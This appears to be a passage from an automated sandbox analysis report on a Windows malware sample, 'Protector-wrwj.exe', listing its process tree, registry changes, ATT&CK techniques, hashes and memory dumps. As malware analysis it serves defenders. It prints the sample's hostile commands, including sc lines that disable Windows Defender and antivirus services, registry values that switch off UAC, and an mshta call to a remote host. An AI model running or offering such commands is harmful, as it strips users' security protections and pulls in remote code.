PID 1144 wrote to memory of 604	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 604	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 604	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 604	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 648	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 648	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 648	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 648	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 908	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 908	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 908	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 908	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 964	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 964	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 964	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 964	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 1764	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 1764	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 1764	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 1764	1144	Protector-wrwj.exe	sc.exe

System policy modification 1 TTPs 4 IoCs

evasion

Modify Registry

T1112

Processes:

Protector-wrwj.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	Protector-wrwj.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Protector-wrwj.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Protector-wrwj.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	Protector-wrwj.exe

C:\Users\Admin\AppData\Local\Temp\47c724ea55ddc401dbebafea545d6ac7bb32ed2b82b1c12b7083882b5d814add.exe
"C:\Users\Admin\AppData\Local\Temp\47c724ea55ddc401dbebafea545d6ac7bb32ed2b82b1c12b7083882b5d814add.exe"
1⤵
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1084
- C:\Users\Admin\AppData\Roaming\Protector-wrwj.exe
  C:\Users\Admin\AppData\Roaming\Protector-wrwj.exe
  2⤵
  - UAC bypass
  - Executes dropped EXE
  - Sets file execution options in registry
  - Adds Run key to start application
  - Checks whether UAC is enabled
  - Drops file in System32 directory
  - Modifies Internet Explorer settings
  - Modifies system certificate store
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:1144
- - C:\Windows\SysWOW64\mshta.exe
    mshta.exe "http://galaint.statonlinekit.in/?0=127&1=0&2=1&3=95&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=1111&12=hlftlipwpt&14=1"
    3⤵
    - Modifies Internet Explorer settings
    PID:2044
- - C:\Windows\SysWOW64\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    PID:2000
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:1696
- - C:\Windows\SysWOW64\sc.exe
    sc stop msmpsvc
    3⤵
    - Launches sc.exe
    PID:1664
- - C:\Windows\SysWOW64\sc.exe
    sc config GuardX start= disabled
    3⤵
    - Launches sc.exe
    PID:1764
- - C:\Windows\SysWOW64\sc.exe
    sc stop GuardX
    3⤵
    - Launches sc.exe
    PID:964
- - C:\Windows\SysWOW64\sc.exe
    sc config AntiVirSchedulerService start= disabled
    3⤵
    - Launches sc.exe
    PID:908
- - C:\Windows\SysWOW64\sc.exe
    sc config AntiVirService start= disabled
    3⤵
    - Launches sc.exe
    PID:648
- - C:\Windows\SysWOW64\sc.exe
    sc stop AntiVirService
    3⤵
    - Launches sc.exe
    PID:604
- - C:\Windows\SysWOW64\sc.exe
    sc config ekrn start= disabled
    3⤵
    - Launches sc.exe
    PID:1108
- - C:\Windows\SysWOW64\sc.exe
    sc config msmpsvc start= disabled
    3⤵
    - Launches sc.exe
    PID:1928
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\47C724~1.EXE" >> NUL
  2⤵
  PID:1900

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

2

T1060

Privilege Escalation

Bypass User Account Control

1

T1088

Defense Evasion

Bypass User Account Control

1

T1088

Disabling Security Tools

Impair Defenses

Install Root Certificate

Modify Registry

Credential Access

Discovery

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

1

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Protector-wrwj.exe

Filesize
2.1MB

MD5
35196950b0867c43806fa94079cab673

SHA1
2aba0a0a23a6cae9c39cffb822b57118215322f4

SHA256
47c724ea55ddc401dbebafea545d6ac7bb32ed2b82b1c12b7083882b5d814add

SHA512
ece02cc0170abbdb52c5ef98b4f124a4306d0a59fc2362144ed6974e9e76b89fdc782e47652b8daf9f3a3196cb7a6e4286c0bc7102cbc2858f2f40f03332abd2

Download Submit
C:\Users\Admin\AppData\Roaming\Protector-wrwj.exe

Filesize
2.1MB

MD5
35196950b0867c43806fa94079cab673

SHA1
2aba0a0a23a6cae9c39cffb822b57118215322f4

SHA256
47c724ea55ddc401dbebafea545d6ac7bb32ed2b82b1c12b7083882b5d814add

SHA512
ece02cc0170abbdb52c5ef98b4f124a4306d0a59fc2362144ed6974e9e76b89fdc782e47652b8daf9f3a3196cb7a6e4286c0bc7102cbc2858f2f40f03332abd2

Download Submit
\Users\Admin\AppData\Roaming\Protector-wrwj.exe

Filesize
2.1MB

MD5
35196950b0867c43806fa94079cab673

SHA1
2aba0a0a23a6cae9c39cffb822b57118215322f4

SHA256
47c724ea55ddc401dbebafea545d6ac7bb32ed2b82b1c12b7083882b5d814add

SHA512
ece02cc0170abbdb52c5ef98b4f124a4306d0a59fc2362144ed6974e9e76b89fdc782e47652b8daf9f3a3196cb7a6e4286c0bc7102cbc2858f2f40f03332abd2

Download Submit
\Users\Admin\AppData\Roaming\Protector-wrwj.exe

Filesize
2.1MB

MD5
35196950b0867c43806fa94079cab673

SHA1
2aba0a0a23a6cae9c39cffb822b57118215322f4

SHA256
47c724ea55ddc401dbebafea545d6ac7bb32ed2b82b1c12b7083882b5d814add

SHA512
ece02cc0170abbdb52c5ef98b4f124a4306d0a59fc2362144ed6974e9e76b89fdc782e47652b8daf9f3a3196cb7a6e4286c0bc7102cbc2858f2f40f03332abd2

Download Submit
memory/604-81-0x0000000000000000-mapping.dmp

Download
memory/648-82-0x0000000000000000-mapping.dmp

Download
memory/908-83-0x0000000000000000-mapping.dmp

Download
memory/964-84-0x0000000000000000-mapping.dmp

Download
memory/1084-55-0x0000000000400000-0x0000000000747000-memory.dmp

Filesize
3.3MB

Download
memory/1084-63-0x0000000000400000-0x0000000000969000-memory.dmp

Filesize
5.4MB

Download
memory/1084-56-0x0000000000400000-0x0000000000969000-memory.dmp

Filesize
5.4MB

Download
memory/1084-65-0x0000000000400000-0x0000000000747000-memory.dmp

Filesize
3.3MB

Download
memory/1084-58-0x0000000000400000-0x0000000000969000-memory.dmp

Filesize
5.4MB

Download
memory/1084-66-0x00000000745E0000-0x0000000074659000-memory.dmp

Filesize
484KB

Download
memory/1084-54-0x0000000074C91000-0x0000000074C93000-memory.dmp

Filesize
8KB

Download
memory/1084-57-0x00000000745E0000-0x0000000074659000-memory.dmp

Filesize
484KB

Download
memory/1108-80-0x0000000000000000-mapping.dmp

Download
memory/1144-87-0x0000000005D10000-0x0000000006D72000-memory.dmp

Filesize
16.4MB

Download
memory/1144-74-0x0000000000400000-0x0000000000969000-memory.dmp

Filesize
5.4MB

Download
memory/1144-75-0x0000000000400000-0x0000000000969000-memory.dmp

Filesize
5.4MB

Download
memory/1144-71-0x0000000000400000-0x0000000000969000-memory.dmp

Filesize
5.4MB

Download
memory/1144-86-0x00000000050C0000-0x0000000005B7A000-memory.dmp

Filesize
10.7MB

Download
memory/1144-61-0x0000000000000000-mapping.dmp

Download
memory/1144-70-0x00000000745E0000-0x0000000074659000-memory.dmp

Filesize
484KB

Download
memory/1144-67-0x0000000000400000-0x0000000000969000-memory.dmp

Filesize
5.4MB

Download
memory/1664-78-0x0000000000000000-mapping.dmp

Download
memory/1696-77-0x0000000000000000-mapping.dmp

Download
memory/1764-85-0x0000000000000000-mapping.dmp

Download
memory/1900-64-0x0000000000000000-mapping.dmp

Download
memory/1928-79-0x0000000000000000-mapping.dmp

Download
memory/2000-76-0x0000000000000000-mapping.dmp

Download
memory/2044-73-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads